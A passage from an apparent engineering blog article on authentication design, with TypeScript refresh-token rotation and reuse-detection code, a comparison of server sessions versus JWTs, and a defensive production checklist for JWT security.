    return crypto.createHash("sha256").update(rawToken).digest("hex");
  }

  private generateSecureOpaqueToken(): string {
    return crypto.randomBytes(32).toString("base64url");
  }

  /**
   * Issues an initial token pair on login.
   */
  public async issueInitialPair(userId: string, scopes: string[] = []): Promise<TokenPair> {
    const familyId = crypto.randomUUID();
    const rawRefreshToken = this.generateSecureOpaqueToken();
    const tokenHash = this.hashToken(rawRefreshToken);
    const now = Math.floor(Date.now() / 1000);

    const record: RefreshTokenRecord = {
      tokenHash,
      familyId,
      userId,
      generation: 1,
      isConsumed: false,
      expiresAt: now + this.refreshTokenTtlSeconds,
    };

    this.tokenStore.set(tokenHash, record);

    const accessToken = JwtService.signHmacSha256(
      {
        sub: userId,
        iss: "auth.example.com",
        aud: "api.example.com",
        scopes,
        iat: now,
        exp: now + this.accessTokenTtlSeconds,
      },
      this.jwtSecret
    );

    return {
      accessToken,
      refreshToken: rawRefreshToken,
      expiresInSeconds: this.accessTokenTtlSeconds,
    };
  }

  /**
   * Rotates a refresh token: issues a new pair and revokes previous tokens.
   * If an already consumed token is submitted, invalidates the entire family!
   */
  public async rotateToken(submittedRawToken: string): Promise<TokenPair> {
    const tokenHash = this.hashToken(submittedRawToken);
    const record = this.tokenStore.get(tokenHash);

    if (!record) {
      throw new Error("Invalid or unallocated refresh token");
    }

    // Check if family was already revoked due to prior breach
    if (this.revokedFamilies.has(record.familyId)) {
      throw new SecurityBreachError(
        "Token family is revoked due to prior compromise",
        record.familyId,
        record.userId
      );
    }

    const now = Math.floor(Date.now() / 1000);

    // REUSE DETECTION: If token was already consumed, a replay or theft occurred!
    if (record.isConsumed) {
      // Invalidate the entire family immediately across the distributed system!
      this.revokedFamilies.add(record.familyId);
      
      // In production: trigger security incident logging and revoke all active sessions
      throw new SecurityBreachError(
        `Refresh token reuse detected for family ${record.familyId}! Active tokens revoked.`,
        record.familyId,
        record.userId
      );
    }

    // Expiration check
    if (now > record.expiresAt) {
      throw new Error("Refresh token expired. Re-authentication required.");
    }

    // Mark current token as consumed
    record.isConsumed = true;
    record.consumedAt = now;

    // Issue next generation token in the same family
    const nextRawRefreshToken = this.generateSecureOpaqueToken();
    const nextTokenHash = this.hashToken(nextRawRefreshToken);

    const nextRecord: RefreshTokenRecord = {
      tokenHash: nextTokenHash,
      familyId: record.familyId,
      userId: record.userId,
      generation: record.generation + 1,
      isConsumed: false,
      expiresAt: now + this.refreshTokenTtlSeconds,
    };

    this.tokenStore.set(nextTokenHash, nextRecord);

    const accessToken = JwtService.signHmacSha256(
      {
        sub: record.userId,
        iss: "auth.example.com",
        aud: "api.example.com",
        iat: now,
        exp: now + this.accessTokenTtlSeconds,
      },
      this.jwtSecret
    );

    return {
      accessToken,
      refreshToken: nextRawRefreshToken,
      expiresInSeconds: this.accessTokenTtlSeconds,
    };
  }

  /**
   * Explicit user logout: revokes the token family.
   */
  public async revokeFamily(familyId: string): Promise<void> {
    this.revokedFamilies.add(familyId);
  }
}

Architectural Decision Framework: Server Sessions vs. Stateless JWTs

A recurring engineering question is whether to adopt stateless JWTs or classic server-side sessions. The answer depends on architecture topology, revocation latency tolerance, and deployment scale.

Architectural Comparison

| Dimension | Stateful Server Sessions (Cookies + Redis/DB) | Stateless JWTs (Pure Asymmetric) | Hybrid Dual-Token (OAuth 2.1 RTR) | | :--- | :--- | :--- | :--- | | Storage Location | Server memory/cache holds session data; client holds 32-byte ID. | Client holds all claims and signature. | Client holds short-lived JWT + opaque refresh token. | | Revocation Latency | Instantaneous (O(1)O(1) key deletion in session store). | Delayed until exp elapses (or requires denylist lookup). | Immediate for refresh grant; bounded by access token TTL (5–15m). | | Payload Size on Wire | ~32 bytes (opaque cookie identifier). | 1 KB – 4 KB per request. | 1 KB – 2 KB access token. | | Verification Overhead | Network/Cache roundtrip to Redis/DB on every request. | Local cryptographic verification (0ms network roundtrip). | Local verification for access; DB query only on refresh. | | Decoupling from Auth DB | Zero decoupling (every service must reach session store). | Complete decoupling across microservices. | Decoupled for standard traffic; centralized for refresh. | | Best Architectural Fit | Monolithic apps, traditional MVC, internal enterprise tools. | High-throughput edge APIs, third-party integrations. | Distributed microservices, mobile apps, modern SPAs. |

When to Use JWTs

  • Distributed Microservice Ecosystems: When an edge gateway or Identity Provider authenticates the client and downstream microservices need to verify user identity and scopes independently without overwhelming a shared database.
  • Cross-Domain and Third-Party API Federation: In OAuth 2.0 and OpenID Connect (OIDC) workflows where resource servers must validate identity assertions from independent IdPs (e.g., Auth0, Okta, Google).
  • High-Throughput Mobile Backends: Where reducing centralized database read operations for stateless edge validation provides tangible scaling advantages.

When Server-Side Sessions Are Superior

  • Monolithic Web Applications: For single-domain web applications (such as Ruby on Rails, Django, Laravel, or server-rendered Next.js), server-side sessions stored in Redis or PostgreSQL are simpler, support instantaneous logout, and avoid token storage complexities in browser JavaScript.
  • High-Risk Financial and Administrative Portals: Environments where every action requires instantaneous authorization checks and permission changes must take effect immediately.

Actionable Production Verification Checklist

Before releasing a JWT-based authentication system to production, verify every item on this operational checklist:

Cryptographic Rigor

  • [ ] Algorithm Whitelisting: Ensure verification logic enforces an explicit algorithm whitelist (algorithms: ['RS256']). Reject alg: "none" unconditionally.
  • [ ] Algorithm Confusion Defense: Prohibit dynamic key switching based on token headers. Do not allow public verification keys to be passed into symmetric HMAC routines.
  • [ ] Key Entropy: For HS256, enforce a minimum secret length of 32 bytes (256 bits) generated by a cryptographically secure pseudorandom number generator (crypto.randomBytes). For RS256, use a minimum key length of 2048 bits (3072 bits recommended).
  • [ ] Timing-Safe Comparison: Use constant-time equality checks (crypto.timingSafeEqual) when validating symmetric HMAC signatures to prevent timing side-channel attacks.

Token Construction & Claim Validation

  • [ ] Short Access Token Lifespan: Restrict access token validity to between 5 and 15 minutes. Never issue long-lived stateless access tokens (such as 30 days).
  • [ ] Enforce Standard Claims: Verify exp, nbf, iss, and aud on every request. Apply a reasonable clock tolerance leeway (e.g., 30 to 60 seconds) to accommodate network clock skew between servers.
  • [ ] No Sensitive PII in Claims: Ensure passwords, credit card numbers, social security identifiers, and proprietary internal metadata are never stored in unencrypted JWT payloads.
  • [ ] Header Size Limits: Keep token payloads minimal to prevent exceeding upstream HTTP request header limits (8 KB buffers).

Storage & Transport Security

  • [ ] Mitigate localStorage Storage: Never store sensitive tokens in browser localStorage or sessionStorage in environments exposed to untrusted JavaScript or third-party scripts.
  • [ ] Harden Web Cookies: Deliver refresh tokens in HttpOnly, Secure, SameSite=Strict (or SameSite=Lax) cookies over TLS.
  • [ ] CSRF Countermeasures: Pair cookie-based authentication with custom request headers (such as X-Requested-With) or anti-CSRF tokens.
  • [ ] Native Mobile Storage: Store tokens in iOS Keychain Services (kSecClassGenericPassword) and Android Keystore (EncryptedSharedPreferences).

Lifecycle & Operational Telemetry

  • [ ] Refresh Token Rotation (RTR): Rotate refresh tokens on every grant. Store hashes (SHA-256) of tokens in persistence layers rather than plaintext values.
  • [ ] Reuse Detection & Containment: Track token families. If an already-consumed refresh token is re-submitted, instantly invalidate the entire token family and emit high-priority security telemetry.
  • [ ] JWKS Caching & DoS Defense: Cache public keys with a reasonable TTL (e.g., 12 to 24 hours). Rate-limit lookups for unrecognized kid values to prevent IdP cache stampedes. Never dynamically fetch unpinned jku URLs.

Conclusion

JSON Web Tokens are not a generic cure for state management, nor are they a simple drop-in replacement for traditional sessions. They are a cryptographic transport mechanism designed to decouple identity verification from centralized databases across distributed trust boundaries.

A resilient production authentication architecture acknowledges the trade-offs:

  1. Treat access tokens as ephemeral, short-lived credentials verified statelessly at the edge.
  2. Back long-lived user sessions with stateful, rotated refresh tokens tracked in secure databases.
  3. Protect client endpoints by leveraging HttpOnly cookies or the Backend-for-Frontend pattern to safeguard tokens against client-side script execution.
  4. Enforce strict cryptographic validation policies to eliminate algorithm confusion and key manipulation attacks.

By anchoring system design in these core principles, engineering teams can build authentication layers that remain secure, performant, and maintainable as their distributed systems scale.

Related articles

Illustration of logs, metrics, traces, and alerts feeding an observability dashboard
Backend

Backend Observability: Logs, Metrics, Traces, and Alerts

September 23, 2025 · 18 min read

A comprehensive engineering guide to backend observability: RED and USE metrics, structured logging, OpenTelemetry distributed tracing, tail sampling, and SRE error budget alerting.

BackendAPIsSoftware EngineeringArchitecture